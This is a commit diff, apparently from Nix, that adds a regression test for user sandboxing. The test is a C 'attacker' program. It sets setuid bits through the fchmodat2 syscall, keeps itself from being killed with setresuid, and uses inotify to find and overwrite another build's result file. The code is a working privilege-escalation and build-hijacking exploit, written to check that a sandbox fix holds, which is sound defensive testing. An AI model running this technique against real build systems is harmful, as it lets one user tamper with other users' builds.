Add a test for the user sandboxing

(cherry picked from commit 717f3eea39)

tests/nixos/user-sandboxing/attacker.c

@@ -0,0 +1,82 @@
+#define _GNU_SOURCE
+
+#include <fcntl.h>
+#include <stdio.h>
+#include <sys/inotify.h>
+#include <sys/stat.h>
+#include <unistd.h>
+#include <stdlib.h>
+
+#define SYS_fchmodat2 452
+
+int fchmodat2(int dirfd, const char *pathname, mode_t mode, int flags) {
+  return syscall(SYS_fchmodat2, dirfd, pathname, mode, flags);
+}
+
+int main(int argc, char **argv) {
+  if (argc <= 1) {
+    // stage 1: place the setuid-builder executable
+
+    // make the build directory world-accessible first
+    chmod(".", 0755);
+
+    if (fchmodat2(AT_FDCWD, "attacker", 06755, AT_SYMLINK_NOFOLLOW) < 0) {
+      perror("Setting the suid bit on attacker");
+      exit(-1);
+    }
+
+  } else {
+    // stage 2: corrupt the victim derivation while it's building
+
+    // prevent the kill
+    if (setresuid(-1, -1, getuid())) {
+      perror("setresuid");
+      exit(-1);
+    }
+
+    if (fork() == 0) {
+
+      // wait for the victim to build
+      int fd = inotify_init();
+      inotify_add_watch(fd, argv[1], IN_CREATE);
+      int dirfd = open(argv[1], O_DIRECTORY);
+      if (dirfd < 0) {
+        perror("opening the global build directory");
+        exit(-1);
+      }
+      char buf[4096];
+      fprintf(stderr, "Entering the inotify loop\n");
+      for (;;) {
+        ssize_t len = read(fd, buf, sizeof(buf));
+        struct inotify_event *ev;
+        for (char *pe = buf; pe < buf + len;
+            pe += sizeof(struct inotify_event) + ev->len) {
+          ev = (struct inotify_event *)pe;
+          fprintf(stderr, "folder %s created\n", ev->name);
+          // wait a bit to prevent racing against the creation
+          sleep(1);
+          int builddir = openat(dirfd, ev->name, O_DIRECTORY);
+          if (builddir < 0) {
+            perror("opening the build directory");
+            continue;
+          }
+          int resultfile = openat(builddir, "build/result", O_WRONLY | O_TRUNC);
+          if (resultfile < 0) {
+            perror("opening the hijacked file");
+            continue;
+          }
+          int writeres = write(resultfile, "bad\n", 4);
+          if (writeres < 0) {
+            perror("writing to the hijacked file");
+            continue;
+          }
+          fprintf(stderr, "Hijacked the build for %s\n", ev->name);
+          return 0;
+        }
+      }
+    }
+
+    exit(0);
+  }
+}
+